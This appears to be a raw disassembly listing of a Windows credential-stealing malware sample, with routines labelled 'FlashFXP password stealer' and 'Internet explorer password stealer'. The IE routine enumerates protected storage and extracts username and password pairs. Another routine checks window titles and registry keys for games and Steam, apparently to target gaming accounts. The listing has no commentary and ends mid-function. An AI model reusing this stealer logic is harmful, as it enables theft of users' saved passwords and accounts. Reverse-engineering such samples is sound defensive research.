mov [ebp+var_184], eax
mov eax, [ebp+var_5DC]
mov [ebp+var_3B8], eax
cmp [ebp+var_3B8], 0
jnz short loc_414E37
jmp short loc_414E4B
; ---------------------------------------------------------------------------
loc_414E37: ; CODE XREF: sub_414A1E+415j
mov eax, [ebp+var_3B8]
add eax, 4
mov [ebp+var_3B8], eax
jmp loc_414BA6
; ---------------------------------------------------------------------------
loc_414E4B: ; CODE XREF: sub_414A1E+37Ej
; sub_414A1E+417j
push [ebp+var_3BC]
call sub_416B4C ; free
pop ecx
loc_414E57: ; CODE XREF: sub_414A1E:loc_414EA6j
mov al, [ebp+var_330]
mov [ebp+var_190], al
push 3E8h
call ds:dword_41709C ; Sleep
push [ebp+var_184]
push [ebp+var_334]
mov eax, [ebp+var_32C]
push dword ptr [eax]
push offset unk_41D22C
lea eax, [ebp+var_328]
push eax
call sub_40D53F
add esp, 14h
loc_414E96: ; CODE XREF: sub_414A1E:loc_414EA8j
; sub_414A1E:loc_414EAAj
push [ebp+var_32C]
call sub_409763
pop ecx
xor eax, eax
jmp short locret_414EAC
; ---------------------------------------------------------------------------
loc_414EA6: ; CODE XREF: sub_414A1E+3F0j
jmp short loc_414E57
; ---------------------------------------------------------------------------
loc_414EA8: ; CODE XREF: sub_414A1E+140j
jmp short loc_414E96
; ---------------------------------------------------------------------------
loc_414EAA: ; CODE XREF: sub_414A1E+ACj
jmp short loc_414E96
; ---------------------------------------------------------------------------
locret_414EAC: ; CODE XREF: sub_414A1E+48j
; sub_414A1E+486j
leave
retn 4
sub_414A1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_414ECA
jmp short locret_414EF2
; ---------------------------------------------------------------------------
loc_414ECA: ; CODE XREF: sub_414EB0+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aFlashfxpPasswo ; "FlashFXP password stealer"
push 0
push [ebp+var_4]
push offset sub_414A1E
call sub_4095A4
add esp, 10h
locret_414EF2: ; CODE XREF: sub_414EB0+18j
leave
retn
sub_414EB0 endp
; =============== S U B R O U T I N E =======================================
sub_414EF4 proc near ; DATA XREF: sub_415AF0+40o
mov eax, offset loc_416FDD
call sub_416E10
sub esp, 0FFCh
push esi
push edi
push 1A7h
push dword ptr [ebp+8]
lea eax, [ebp-0BF0h]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push dword ptr [ebp+8]
call sub_416B4C ; free
pop ecx
and dword ptr [ebp-0A00h], 0
and dword ptr [ebp-4], 0
cmp dword ptr [ebp-0A00h], 0
jz short loc_414F4C
mov eax, [ebp-0A00h]
mov ecx, [ebp-0A00h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_414F4C: ; CODE XREF: sub_414EF4+44j
and dword ptr [ebp-0A00h], 0
push 0
push 0
push 0
lea eax, [ebp-0A00h]
push eax
call dword_41DE80
mov [ebp-0DF4h], eax
cmp dword ptr [ebp-0DF4h], 0
jge short loc_414FB2
push dword ptr [ebp-0BF0h]
call sub_409763
pop ecx
and dword ptr [ebp-0FD0h], 0
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-0A00h], 0
jz short loc_414FA7
mov eax, [ebp-0A00h]
mov ecx, [ebp-0A00h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_414FA7: ; CODE XREF: sub_414EF4+9Fj
mov eax, [ebp-0FD0h]
jmp loc_415AE0
; ---------------------------------------------------------------------------
loc_414FB2: ; CODE XREF: sub_414EF4+7Fj
and dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1
cmp dword ptr [ebp-10h], 0
jz short loc_414FCC
mov eax, [ebp-10h]
mov ecx, [ebp-10h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_414FCC: ; CODE XREF: sub_414EF4+CAj
and dword ptr [ebp-10h], 0
cmp dword ptr [ebp-0A00h], 0
jnz short loc_414FE3
push 80004003h
call sub_416E40
loc_414FE3: ; CODE XREF: sub_414EF4+E3j
mov eax, [ebp-0A00h]
mov [ebp-0FE0h], eax
lea eax, [ebp-10h]
push eax
push 0
push 0
mov eax, [ebp-0FE0h]
mov eax, [eax]
push dword ptr [ebp-0FE0h]
call dword ptr [eax+38h]
mov [ebp-0FDCh], eax
cmp dword ptr [ebp-0FDCh], 0
jge short loc_41502D
push offset dword_41D598
push dword ptr [ebp-0FE0h]
push dword ptr [ebp-0FDCh]
call sub_416E4E
loc_41502D: ; CODE XREF: sub_414EF4+121j
mov eax, [ebp-0FDCh]
mov [ebp-0DF4h], eax
cmp dword ptr [ebp-0DF4h], 0
jge short loc_415095
push dword ptr [ebp-0BF0h]
call sub_409763
pop ecx
and dword ptr [ebp-0FD4h], 0
and byte ptr [ebp-4], 0
cmp dword ptr [ebp-10h], 0
jz short loc_41506B
mov eax, [ebp-10h]
mov ecx, [ebp-10h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_41506B: ; CODE XREF: sub_414EF4+169j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-0A00h], 0
jz short loc_41508A
mov eax, [ebp-0A00h]
mov ecx, [ebp-0A00h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_41508A: ; CODE XREF: sub_414EF4+182j
mov eax, [ebp-0FD4h]
jmp loc_415AE0
; ---------------------------------------------------------------------------
loc_415095: ; CODE XREF: sub_414EF4+14Cj
mov eax, [ebp-0BF0h]
push dword ptr [eax]
push offset unk_41D564
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 0Ch
and dword ptr [ebp-214h], 0
mov al, [ebp-0A54h]
mov [ebp-0A14h], al
and byte ptr [ebp-0A54h], 0
loc_4150CB: ; CODE XREF: sub_414EF4:loc_415A54j
cmp dword ptr [ebp-10h], 0
jnz short loc_4150DB
push 80004003h
call sub_416E40
loc_4150DB: ; CODE XREF: sub_414EF4+1DBj
push 0
lea eax, [ebp-0A10h]
push eax
push 1
mov eax, [ebp-10h]
mov [ebp-1000h], eax
mov eax, [ebp-1000h]
mov eax, [eax]
push dword ptr [ebp-1000h]
call dword ptr [eax+0Ch]
test eax, eax
jnz loc_415A59
mov eax, [ebp-0BF0h]
cmp dword ptr [eax+4], 0
jz short loc_415119
jmp loc_415A59
; ---------------------------------------------------------------------------
loc_415119: ; CODE XREF: sub_414EF4+21Ej
sub esp, 10h
lea esi, [ebp-0A10h]
mov edi, esp
movsd
movsd
movsd
movsd
push offset asc_41D560 ; "%x"
lea eax, [ebp-0A48h]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 18h
and dword ptr [ebp-0DF8h], 0
mov byte ptr [ebp-4], 2
cmp dword ptr [ebp-0DF8h], 0
jz short loc_415163
mov eax, [ebp-0DF8h]
mov ecx, [ebp-0DF8h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_415163: ; CODE XREF: sub_414EF4+25Bj
and dword ptr [ebp-0DF8h], 0
cmp dword ptr [ebp-0A00h], 0
jnz short loc_41517D
push 80004003h
call sub_416E40
loc_41517D: ; CODE XREF: sub_414EF4+27Dj
mov eax, [ebp-0A00h]
mov [ebp-0FE8h], eax
lea eax, [ebp-0DF8h]
push eax
push 0
lea eax, [ebp-0A10h]
push eax
push 0
mov eax, [ebp-0FE8h]
mov eax, [eax]
push dword ptr [ebp-0FE8h]
call dword ptr [eax+3Ch]
mov [ebp-0FE4h], eax
cmp dword ptr [ebp-0FE4h], 0
jge short loc_4151D1
push offset dword_41D598
push dword ptr [ebp-0FE8h]
push dword ptr [ebp-0FE4h]
call sub_416E4E
loc_4151D1: ; CODE XREF: sub_414EF4+2C5j
mov eax, [ebp-0FE4h]
mov [ebp-0DF4h], eax
loc_4151DD: ; CODE XREF: sub_414EF4:loc_415A30j
cmp dword ptr [ebp-0DF8h], 0
jnz short loc_4151F0
push 80004003h
call sub_416E40
loc_4151F0: ; CODE XREF: sub_414EF4+2F0j
push 0
lea eax, [ebp-0E08h]
push eax
push 1
mov eax, [ebp-0DF8h]
mov [ebp-1004h], eax
mov eax, [ebp-1004h]
mov eax, [eax]
push dword ptr [ebp-1004h]
call dword ptr [eax+0Ch]
test eax, eax
jnz loc_415A35
and dword ptr [ebp-0E14h], 0
mov byte ptr [ebp-4], 3
cmp dword ptr [ebp-0E14h], 0
jz short loc_415246
mov eax, [ebp-0E14h]
mov ecx, [ebp-0E14h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_415246: ; CODE XREF: sub_414EF4+33Ej
and dword ptr [ebp-0E14h], 0
cmp dword ptr [ebp-0A00h], 0
jnz short loc_415260
push 80004003h
call sub_416E40
loc_415260: ; CODE XREF: sub_414EF4+360j
mov eax, [ebp-0A00h]
mov [ebp-0FF0h], eax
lea eax, [ebp-0E14h]
push eax
push 0
lea eax, [ebp-0E08h]
push eax
lea eax, [ebp-0A10h]
push eax
push 0
mov eax, [ebp-0FF0h]
mov eax, [eax]
push dword ptr [ebp-0FF0h]
call dword ptr [eax+54h]
mov [ebp-0FECh], eax
cmp dword ptr [ebp-0FECh], 0
jge short loc_4152BB
push offset dword_41D598
push dword ptr [ebp-0FF0h]
push dword ptr [ebp-0FECh]
call sub_416E4E
loc_4152BB: ; CODE XREF: sub_414EF4+3AFj
mov eax, [ebp-0FECh]
mov [ebp-0E10h], eax
loc_4152C7: ; CODE XREF: sub_414EF4+B18j
cmp dword ptr [ebp-0E14h], 0
jnz short loc_4152DA
push 80004003h
call sub_416E40
loc_4152DA: ; CODE XREF: sub_414EF4+3DAj
push 0
lea eax, [ebp-0E0Ch]
push eax
push 1
mov eax, [ebp-0E14h]
mov [ebp-1008h], eax
mov eax, [ebp-1008h]
mov eax, [eax]
push dword ptr [ebp-1008h]
call dword ptr [eax+0Ch]
test eax, eax
jnz loc_415A11
push dword ptr [ebp-0E0Ch]
push offset aWs ; "%ws"
lea eax, [ebp-210h]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 0Ch
and dword ptr [ebp-0E18h], 0
and dword ptr [ebp-0EE8h], 0
and dword ptr [ebp-0EE4h], 0
cmp dword ptr [ebp-0A00h], 0
jnz short loc_41534D
push 80004003h
call sub_416E40
loc_41534D: ; CODE XREF: sub_414EF4+44Dj
mov eax, [ebp-0E0Ch]
loc_415353: ; DATA XREF: .data:off_419100o
mov [ebp-0FFCh], eax
mov eax, [ebp-0A00h]
mov [ebp-0FF8h], eax
push 0
push dword ptr [ebp-0EE4h]
lea eax, [ebp-0EE8h]
push eax
lea eax, [ebp-0E18h]
push eax
push dword ptr [ebp-0FFCh]
lea eax, [ebp-0E08h]
push eax
lea eax, [ebp-0A10h]
push eax
push 0
mov eax, [ebp-0FF8h]
mov eax, [eax]
push dword ptr [ebp-0FF8h]
call dword ptr [eax+44h]
mov [ebp-0FF4h], eax
cmp dword ptr [ebp-0FF4h], 0
jge short loc_4153C7
push offset dword_41D598
push dword ptr [ebp-0FF8h]
push dword ptr [ebp-0FF4h]
call sub_416E4E
loc_4153C7: ; CODE XREF: sub_414EF4+4BBj
mov eax, [ebp-0FF4h]
mov [ebp-0E10h], eax
push dword ptr [ebp-0EE8h]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp-0E18h]
dec ecx
cmp eax, ecx
jnb loc_415477
and dword ptr [ebp-0EECh], 0
and dword ptr [ebp-0EF0h], 0
jmp short loc_41540C
; ---------------------------------------------------------------------------
loc_4153FE: ; CODE XREF: sub_414EF4+571j
mov eax, [ebp-0EF0h]
inc eax
inc eax
mov [ebp-0EF0h], eax
loc_41540C: ; CODE XREF: sub_414EF4+508j
mov eax, [ebp-0EF0h]
cmp eax, [ebp-0E18h]
jnb short loc_415467
mov eax, [ebp-0EE8h]
add eax, [ebp-0EF0h]
movzx eax, byte ptr [eax]
test eax, eax
jnz short loc_41543D
mov eax, [ebp-0EECh]
mov byte ptr [ebp+eax-9FCh], 2Ch
jmp short loc_415458
; ---------------------------------------------------------------------------
loc_41543D: ; CODE XREF: sub_414EF4+537j
mov eax, [ebp-0EE8h]
add eax, [ebp-0EF0h]
mov ecx, [ebp-0EECh]
mov al, [eax]
mov [ebp+ecx-9FCh], al
loc_415458: ; CODE XREF: sub_414EF4+547j
mov eax, [ebp-0EECh]
inc eax
mov [ebp-0EECh], eax
jmp short loc_4153FE
; ---------------------------------------------------------------------------
loc_415467: ; CODE XREF: sub_414EF4+524j
mov eax, [ebp-0EECh]
and byte ptr [ebp+eax-9FDh], 0
jmp short loc_415492
; ---------------------------------------------------------------------------
loc_415477: ; CODE XREF: sub_414EF4+4F4j
push dword ptr [ebp-0EE8h]
push offset aS ; "%s"
lea eax, [ebp-9FCh]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 0Ch
loc_415492: ; CODE XREF: sub_414EF4+581j
push offset byte_41DE30
lea eax, [ebp-7FCh]
push eax
call ds:dword_4170FC ; lstrcpyA
push offset byte_41DE30
lea eax, [ebp-0DF0h]
push eax
call ds:dword_4170FC ; lstrcpyA
push offset a220d5cc1 ; "220d5cc1"
lea eax, [ebp-0A48h]
push eax
call ds:dword_417108 ; lstrcmpA
test eax, eax
jnz short loc_41550C
mov eax, [ebp-214h]
inc eax
mov [ebp-214h], eax
movsx eax, byte ptr [ebp-0A57h]
test eax, eax
jnz short loc_41550C
lea eax, [ebp-9FCh]
push eax
lea eax, [ebp-210h]
push eax
push dword ptr [ebp-214h]
push offset dword_41D510
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 14h
loc_41550C: ; CODE XREF: sub_414EF4+5D6j
; sub_414EF4+5EEj
push offset a5e7e8100 ; "5e7e8100"
lea eax, [ebp-0A48h]
push eax
call ds:dword_417108 ; lstrcmpA
test eax, eax
jnz loc_4155CE
push offset byte_41DE30
lea eax, [ebp-0EE0h]
push eax
call ds:dword_4170FC ; lstrcpyA
push offset asc_4184FC ; ":"
lea eax, [ebp-9FCh]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_415587
push offset asc_4184FC ; ":"
lea eax, [ebp-9FCh]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
inc eax
push eax
lea eax, [ebp-0EE0h]
push eax
call ds:dword_4170FC ; lstrcpyA
push offset asc_4184FC ; ":"
lea eax, [ebp-9FCh]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
and byte ptr [eax], 0
loc_415587: ; CODE XREF: sub_414EF4+659j
mov eax, [ebp-214h]
inc eax
mov [ebp-214h], eax
push 3E8h
call ds:dword_41709C ; Sleep
lea eax, [ebp-0EE0h]
push eax
lea eax, [ebp-9FCh]
push eax
lea eax, [ebp-210h]
push eax
push dword ptr [ebp-214h]
push offset dword_41D4AC
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 18h
loc_4155CE: ; CODE XREF: sub_414EF4+62Cj
push offset aB9819c52 ; "b9819c52"
lea eax, [ebp-0A48h]
push eax
call ds:dword_417108 ; lstrcmpA
test eax, eax
jnz loc_415842
and dword ptr [ebp-0FC8h], 0
mov dword ptr [ebp-0EFCh], 1
and dword ptr [ebp-0FCCh], 0
jmp short loc_415610
; ---------------------------------------------------------------------------
loc_415602: ; CODE XREF: sub_414EF4:loc_4156CFj
mov eax, [ebp-0FCCh]
inc eax
inc eax
mov [ebp-0FCCh], eax
loc_415610: ; CODE XREF: sub_414EF4+70Cj
mov eax, [ebp-0FCCh]
cmp eax, [ebp-0E18h]
jnb loc_4156D4
mov eax, [ebp-0EE8h]
add eax, [ebp-0FCCh]
movzx eax, byte ptr [eax]
test eax, eax
jnz short loc_415652
mov eax, [ebp-0FC8h]
mov byte ptr [ebp+eax-9FCh], 2Ch
mov eax, [ebp-0FC8h]
inc eax
mov [ebp-0FC8h], eax
jmp short loc_4156CF
; ---------------------------------------------------------------------------
loc_415652: ; CODE XREF: sub_414EF4+73Fj
mov eax, [ebp-0EE8h]
add eax, [ebp-0FCCh]
mov al, [eax]
push eax
call ds:dword_4171DC ; IsCharAlphaNumericA
test eax, eax
jnz short loc_4156A7
mov eax, [ebp-0EE8h]
add eax, [ebp-0FCCh]
movzx eax, byte ptr [eax]
cmp eax, 40h
jz short loc_4156A7
mov eax, [ebp-0EE8h]
add eax, [ebp-0FCCh]
movzx eax, byte ptr [eax]
cmp eax, 2Eh
jz short loc_4156A7
mov eax, [ebp-0EE8h]
add eax, [ebp-0FCCh]
movzx eax, byte ptr [eax]
cmp eax, 5Fh
jnz short loc_4156CF
loc_4156A7: ; CODE XREF: sub_414EF4+775j
; sub_414EF4+789j ...
mov eax, [ebp-0EE8h]
add eax, [ebp-0FCCh]
mov ecx, [ebp-0FC8h]
mov al, [eax]
mov [ebp+ecx-9FCh], al
mov eax, [ebp-0FC8h]
inc eax
mov [ebp-0FC8h], eax
loc_4156CF: ; CODE XREF: sub_414EF4+75Cj
; sub_414EF4+7B1j
jmp loc_415602
; ---------------------------------------------------------------------------
loc_4156D4: ; CODE XREF: sub_414EF4+728j
mov eax, [ebp-0FC8h]
and byte ptr [ebp+eax-9FDh], 0
lea eax, [ebp-9FAh]
mov [ebp-0EF4h], eax
and dword ptr [ebp-0EF8h], 0
jmp short loc_415704
; ---------------------------------------------------------------------------
loc_4156F7: ; CODE XREF: sub_414EF4:loc_41583Dj
mov eax, [ebp-0EF8h]
inc eax
mov [ebp-0EF8h], eax
loc_415704: ; CODE XREF: sub_414EF4+801j
mov eax, [ebp-0EE8h]
movzx eax, byte ptr [eax+4]
cmp [ebp-0EF8h], eax
jge loc_415842
mov eax, [ebp-0EF4h]
inc eax
push eax
lea eax, [ebp-0FC4h]
push eax
call ds:dword_4170FC ; lstrcpyA
push offset dword_41D49C
lea eax, [ebp-0FC4h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_41575C
push offset dword_41D49C
lea eax, [ebp-0FC4h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
and byte ptr [eax], 0
loc_41575C: ; CODE XREF: sub_414EF4+850j
push offset dword_41D49C
mov eax, [ebp-0EF4h]
inc eax
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_415798
push offset dword_41D49C
mov eax, [ebp-0EF4h]
inc eax
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
inc eax
inc eax
push eax
lea eax, [ebp-0F60h]
push eax
call ds:dword_4170FC ; lstrcpyA
loc_415798: ; CODE XREF: sub_414EF4+87Ej
push offset dword_41D49C
lea eax, [ebp-0F60h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_4157C5
push offset dword_41D49C
lea eax, [ebp-0F60h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
and byte ptr [eax], 0
loc_4157C5: ; CODE XREF: sub_414EF4+8B9j
push offset dword_41D49C
mov eax, [ebp-0EF4h]
inc eax
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov esi, eax
lea eax, [ebp-0F60h]
push eax
call ds:dword_41703C ; lstrlenA
lea eax, [esi+eax+9]
mov [ebp-0EF4h], eax
mov eax, [ebp-214h]
inc eax
mov [ebp-214h], eax
push 3E8h
call ds:dword_41709C ; Sleep
movsx eax, byte ptr [ebp-0A57h]
test eax, eax
jnz short loc_41583D
lea eax, [ebp-0F60h]
push eax
lea eax, [ebp-0FC4h]
push eax
push dword ptr [ebp-214h]
push offset dword_41D45C
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 14h
loc_41583D: ; CODE XREF: sub_414EF4+91Fj
jmp loc_4156F7
; ---------------------------------------------------------------------------
loc_415842: ; CODE XREF: sub_414EF4+6EEj
; sub_414EF4+820j
push offset aE161255a ; "e161255a"
lea eax, [ebp-0A48h]
push eax
call ds:dword_417108 ; lstrcmpA
test eax, eax
jnz loc_4159E0
push offset aStringindex ; "StringIndex"
lea eax, [ebp-210h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jnz loc_4159E0
push offset aString ; ":String"
lea eax, [ebp-210h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_4158A4
push offset aString ; ":String"
lea eax, [ebp-210h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
and byte ptr [eax], 0
loc_4158A4: ; CODE XREF: sub_414EF4+998j
push 8
lea eax, [ebp-210h]
push eax
lea eax, [ebp-0EE0h]
push eax
call ds:dword_417100 ; lstrcpynA
push offset aHttp_0 ; "http:/"
lea eax, [ebp-0EE0h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jnz short loc_415938
push offset aHttps ; "https:/"
lea eax, [ebp-0EE0h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jnz short loc_415938
mov eax, [ebp-214h]
inc eax
mov [ebp-214h], eax
push 3E8h
call ds:dword_41709C ; Sleep
movsx eax, byte ptr [ebp-0A57h]
test eax, eax
jnz short loc_415933
lea eax, [ebp-9FCh]
push eax
lea eax, [ebp-210h]
push eax
push dword ptr [ebp-214h]
push offset dword_41D3E4
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 14h
loc_415933: ; CODE XREF: sub_414EF4+A15j
jmp loc_4159E0
; ---------------------------------------------------------------------------
loc_415938: ; CODE XREF: sub_414EF4+9DBj
; sub_414EF4+9F2j
push offset byte_41DE30
lea eax, [ebp-0EE0h]
push eax
call ds:dword_4170FC ; lstrcpyA
push offset dword_41D49C
lea eax, [ebp-9FCh]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_415999
push offset dword_41D49C
lea eax, [ebp-9FCh]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
inc eax
push eax
lea eax, [ebp-0EE0h]
push eax
call ds:dword_4170FC ; lstrcpyA
push offset dword_41D49C
lea eax, [ebp-9FCh]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
and byte ptr [eax], 0
loc_415999: ; CODE XREF: sub_414EF4+A6Bj
mov eax, [ebp-214h]
inc eax
mov [ebp-214h], eax
push 3E8h
call ds:dword_41709C ; Sleep
lea eax, [ebp-0EE0h]
push eax
lea eax, [ebp-9FCh]
push eax
lea eax, [ebp-210h]
push eax
push dword ptr [ebp-214h]
push offset dword_41D388
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 18h
loc_4159E0: ; CODE XREF: sub_414EF4+962j
; sub_414EF4+97Dj ...
push 200h
push 0
lea eax, [ebp-210h]
push eax
call sub_416B6A ; memset
add esp, 0Ch
push 200h
push 0
lea eax, [ebp-9FCh]
push eax
call sub_416B6A ; memset
add esp, 0Ch
jmp loc_4152C7
; ---------------------------------------------------------------------------
loc_415A11: ; CODE XREF: sub_414EF4+410j
mov byte ptr [ebp-4], 2
cmp dword ptr [ebp-0E14h], 0
jz short loc_415A30
mov eax, [ebp-0E14h]
mov ecx, [ebp-0E14h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_415A30: ; CODE XREF: sub_414EF4+B28j
jmp loc_4151DD
; ---------------------------------------------------------------------------
loc_415A35: ; CODE XREF: sub_414EF4+326j
mov byte ptr [ebp-4], 1
cmp dword ptr [ebp-0DF8h], 0
jz short loc_415A54
mov eax, [ebp-0DF8h]
mov ecx, [ebp-0DF8h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_415A54: ; CODE XREF: sub_414EF4+B4Cj
jmp loc_4150CB
; ---------------------------------------------------------------------------
loc_415A59: ; CODE XREF: sub_414EF4+20Ej
; sub_414EF4+220j
mov al, [ebp-0A14h]
mov [ebp-0A54h], al
push 3E8h
call ds:dword_41709C ; Sleep
push dword ptr [ebp-214h]
mov eax, [ebp-0BF0h]
push dword ptr [eax]
push offset unk_41D34C
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 10h
push dword ptr [ebp-0BF0h]
call sub_409763
pop ecx
and dword ptr [ebp-0FD8h], 0
and byte ptr [ebp-4], 0
cmp dword ptr [ebp-10h], 0
jz short loc_415ABB
mov eax, [ebp-10h]
mov ecx, [ebp-10h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_415ABB: ; CODE XREF: sub_414EF4+BB9j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-0A00h], 0
jz short loc_415ADA
mov eax, [ebp-0A00h]
mov ecx, [ebp-0A00h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_415ADA: ; CODE XREF: sub_414EF4+BD2j
mov eax, [ebp-0FD8h]
loc_415AE0: ; CODE XREF: sub_414EF4+B9j
; sub_414EF4+19Cj
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop edi
pop esi
leave
retn 4
sub_414EF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_41DE80, 0
jnz short loc_415AFF
jmp short locret_415B3D
; ---------------------------------------------------------------------------
loc_415AFF: ; CODE XREF: sub_415AF0+Bj
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_415B15
jmp short locret_415B3D
; ---------------------------------------------------------------------------
loc_415B15: ; CODE XREF: sub_415AF0+21j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aInternetExplor ; "Internet explorer password stealer"
push 0
push [ebp+var_4]
push offset sub_414EF4
call sub_4095A4
add esp, 10h
locret_415B3D: ; CODE XREF: sub_415AF0+Dj
; sub_415AF0+23j
leave
retn
sub_415AF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B3F proc near ; CODE XREF: .text:00416FB6p
; sub_416FBC+3p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short locret_415B5E
mov eax, [ebp+var_4]
mov eax, [eax]
mov ecx, [ebp+var_4]
mov ecx, [ecx]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
locret_415B5E: ; CODE XREF: sub_415B3F+Dj
leave
retn
sub_415B3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B60 proc near ; DATA XREF: sub_415DFD+35o
var_5D8 = dword ptr -5D8h
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_5CC = dword ptr -5CCh
var_5C8 = dword ptr -5C8h
var_5C4 = dword ptr -5C4h
var_5C0 = dword ptr -5C0h
var_5BC = dword ptr -5BCh
var_5B8 = dword ptr -5B8h
var_5B4 = byte ptr -5B4h
var_41C = byte ptr -41Ch
var_410 = dword ptr -410h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = byte ptr -400h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D8h
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_5B8]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
and [ebp+var_5C4], 0
and [ebp+var_410], 0
and [ebp+var_40C], 0
and [ebp+var_408], 0
and [ebp+var_404], 0
and [ebp+var_5BC], 0
jmp short loc_415BC2
; ---------------------------------------------------------------------------
loc_415BB5: ; CODE XREF: sub_415B60:loc_415C50j
mov eax, [ebp+var_5BC]
inc eax
mov [ebp+var_5BC], eax
loc_415BC2: ; CODE XREF: sub_415B60+53j
cmp [ebp+var_5BC], 0FFFFh
jnb loc_415C55
push 400h
lea eax, [ebp+var_400]
push eax
push [ebp+var_5BC]
call ds:dword_4171E4 ; GetWindowTextA
push 7
push offset aUnreal3 ; "Unreal3"
lea eax, [ebp+var_400]
push eax
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_415C0E
mov [ebp+var_410], 1
loc_415C0E: ; CODE XREF: sub_415B60+A2j
push offset aWorldOfWarcraf ; "World Of Warcraft"
lea eax, [ebp+var_400]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz short loc_415C2F
mov [ebp+var_408], 1
loc_415C2F: ; CODE XREF: sub_415B60+C3j
push offset aConquer ; "[Conquer]"
lea eax, [ebp+var_400]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz short loc_415C50
mov [ebp+var_404], 1
loc_415C50: ; CODE XREF: sub_415B60+E4j
jmp loc_415BB5
; ---------------------------------------------------------------------------
loc_415C55: ; CODE XREF: sub_415B60+6Cj
and [ebp+var_5C0], 0
lea eax, [ebp+var_5C0]
push eax
push 20019h
push 0
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
push 80000002h
call ds:dword_417008 ; RegOpenKeyExA
test eax, eax
jnz short loc_415C88
mov [ebp+var_5C4], 1
loc_415C88: ; CODE XREF: sub_415B60+11Cj
push [ebp+var_5C0]
call ds:dword_417028 ; RegCloseKey
and [ebp+var_5C0], 0
lea eax, [ebp+var_5C0]
push eax
push 20019h
push 0
push offset aSoftwareValveS ; "Software\\Valve\\Steam"
push 80000001h
call ds:dword_417008 ; RegOpenKeyExA
test eax, eax
jnz short loc_415CC7
mov [ebp+var_40C], 1
